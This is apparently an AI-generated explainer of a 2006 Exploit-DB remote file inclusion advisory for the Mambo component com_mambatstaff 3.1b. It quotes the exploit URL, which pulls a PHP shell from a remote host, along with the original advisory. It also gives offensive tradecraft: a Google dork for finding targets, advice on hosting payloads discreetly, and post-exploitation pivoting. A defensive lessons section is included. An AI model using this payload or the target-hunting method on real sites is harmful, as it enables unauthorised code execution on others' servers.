Exploiting Mambo Component mambatStaff 3.1b for Remote File Inclusion

What this paper is

This paper details a Remote File Inclusion (RFI) vulnerability found in the Mambo Component com_mambatstaff version 3.1b. The vulnerability allows an attacker to include and execute arbitrary files from a remote server on the target web application. This can lead to arbitrary code execution on the server.

Simple technical breakdown

The vulnerability lies in how the mambatstaff.php script handles user-supplied input for the mosConfig_absolute_path parameter. Instead of sanitizing this input, the script directly uses it to include external files. By providing a URL to a malicious PHP file hosted on an attacker-controlled server, the attacker can trick the vulnerable Mambo component into fetching and executing that file.

Complete code and payload walkthrough

The provided exploit snippet is very concise and demonstrates the core of the RFI vulnerability.

http://www.site.com/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://shell.txt

Let's break down this URL:

• http://www.site.com/components/com_mambatstaff/mambatstaff.php: This is the target URL, pointing to the vulnerable script within the Mambo component.
• ?mosConfig_absolute_path=: This is the GET parameter that is being exploited. The name mosConfig_absolute_path suggests it's intended to configure an absolute path for some configuration setting.
• http://shell.txt: This is the malicious value provided to the mosConfig_absolute_path parameter.

Mapping:

• mambatstaff.php: The vulnerable PHP script.
• mosConfig_absolute_path: The vulnerable GET parameter.
• http://shell.txt: The attacker-controlled remote file.

Explanation of the "payload" (the URL itself):

The "payload" in this context is not traditional shellcode but rather the crafted URL. When the mambatstaff.php script processes this URL, it likely performs an operation similar to include() or require() in PHP, using the value of mosConfig_absolute_path.

If the script is vulnerable, it will interpret http://shell.txt not as a local file path but as a remote URL. It will then attempt to download the content from http://shell.txt and execute it as PHP code.

Unknowns:

• The exact PHP function used for inclusion (e.g., include, require, include_once, require_once) is not explicitly stated in the paper.
• The specific code within mambatstaff.php that handles the mosConfig_absolute_path parameter and performs the inclusion is not provided.
• The content of shell.txt is not specified, but it would typically contain PHP code designed to establish a backdoor or execute commands.

Practical details for offensive operations teams

• Required Access Level: Low (remote, unauthenticated access to the web application).
• Lab Preconditions:
  • A target Mambo installation with the com_mambatstaff component (version 3.1b or a similarly vulnerable version) installed.
  • A remote server controlled by the operator, capable of hosting a malicious PHP file.
  • The malicious PHP file (shell.txt in the example) must be crafted to contain PHP code that will execute on the target server (e.g., a web shell).
• Tooling Assumptions:
  • A web browser for manual testing or a web vulnerability scanner configured to identify RFI vulnerabilities.
  • A simple HTTP server (e.g., Python's http.server, Apache, Nginx) to host the malicious payload.
  • A text editor to craft the malicious payload.
• Execution Pitfalls:
  • Firewall/WAF Blocking: The target server or network might have firewalls or Web Application Firewalls (WAFs) that block outbound connections to arbitrary external URLs or specifically block requests to known malicious domains.
  • PHP Configuration (allow_url_fopen): The target server's PHP configuration must have allow_url_fopen enabled for RFI to work. If this directive is disabled, the server will not be able to include remote files.
  • Payload Content: The shell.txt must be valid PHP code and not contain syntax errors that would prevent execution.
  • File Extension: While .txt is used in the example, the target server might be configured to only execute files with a .php extension. The attacker might need to host their payload with a .php extension and adjust the URL accordingly.
  • Component Presence: The com_mambatstaff component must be installed and accessible at the specified path.
  • Sanitization: Later versions of Mambo or the component might have patched this vulnerability, or other security measures might be in place.
• Tradecraft Considerations:
  • Reconnaissance: Use search engines (like Google dorks: allinurl:"com_mambatstaff") to identify potential targets.
  • Payload Hosting: Host the malicious PHP payload on a domain that doesn't immediately raise suspicion. Consider using a disposable domain or a subdomain.
  • Obfuscation: If basic RFI is blocked, consider more advanced RFI techniques or payload obfuscation if the target environment is more sophisticated.
  • Post-Exploitation: Once a shell is established, immediately attempt to escalate privileges or pivot to other systems if authorized.

Where this was used and when

This vulnerability was published in July 2006. At that time, Mambo was a popular content management system. Vulnerabilities like this were common in web applications developed in PHP, especially those that did not properly validate user input before using it in file inclusion functions. Such RFI vulnerabilities were widely exploited in the mid-2000s against various PHP-based web applications.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user input. Always validate and sanitize any data received from external sources, especially when it's used in file paths, database queries, or system commands.
• Disable allow_url_fopen and allow_url_include: For most web applications, these PHP directives can be safely disabled in php.ini to prevent RFI and remote code execution via file inclusion.
• Use Whitelisting: Instead of trying to block malicious inputs, define a strict list of allowed inputs or file paths that can be included.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including RFI attempts. Keep WAF rules updated.
• Regular Patching and Updates: Keep all CMS, components, plugins, and server software up-to-date to patch known vulnerabilities.
• Secure Coding Practices: Train developers on secure coding principles, including the dangers of file inclusion vulnerabilities and proper input handling.
• Least Privilege: Ensure the web server process runs with the minimum necessary privileges to limit the impact of a compromise.

ASCII visual (if applicable)

+-----------------+      +-----------------------+      +---------------------+
| Attacker's Server|----->| Target Web Server     |----->| Mambo Component     |
| (e.g., shell.txt)|      | (www.site.com)        |      | (com_mambatstaff)   |
+-----------------+      +-----------------------+      +----------+----------+
                                                                    |
                                                                    | (Vulnerable
                                                                    |  `mosConfig_absolute_path`
                                                                    |  parameter processing)
                                                                    |
                                                                    v
                                                         +---------------------+
                                                         | PHP Interpreter     |
                                                         | (executes payload)  |
                                                         +---------------------+

Explanation: The attacker's server hosts the malicious payload. The target web server receives the request. The Mambo component, when processing the vulnerable parameter, instructs the PHP interpreter to fetch and execute the content from the attacker's server.

Source references

• Paper ID: 2086
• Paper Title: Mambo Component mambatStaff 3.1b - Remote File Inclusion
• Author: Dr.Jr7
• Published: 2006-07-29
• Keywords: PHP, webapps
• Paper URL: https://www.exploit-db.com/papers/2086
• Raw Exploit URL: https://www.exploit-db.com/raw/2086

Original Exploit-DB Content (Verbatim)

# mambatstaff Mambo Component <=  Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : mambatstaff
# Thanx : www.lezr.com/vb & All kuwait hackers

# d0rkiz : allinurl:"com_mambatstaff"

#
http://www.site.com/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=http://shell.txt

# by Dr.Jr7

# milw0rm.com [2006-07-29]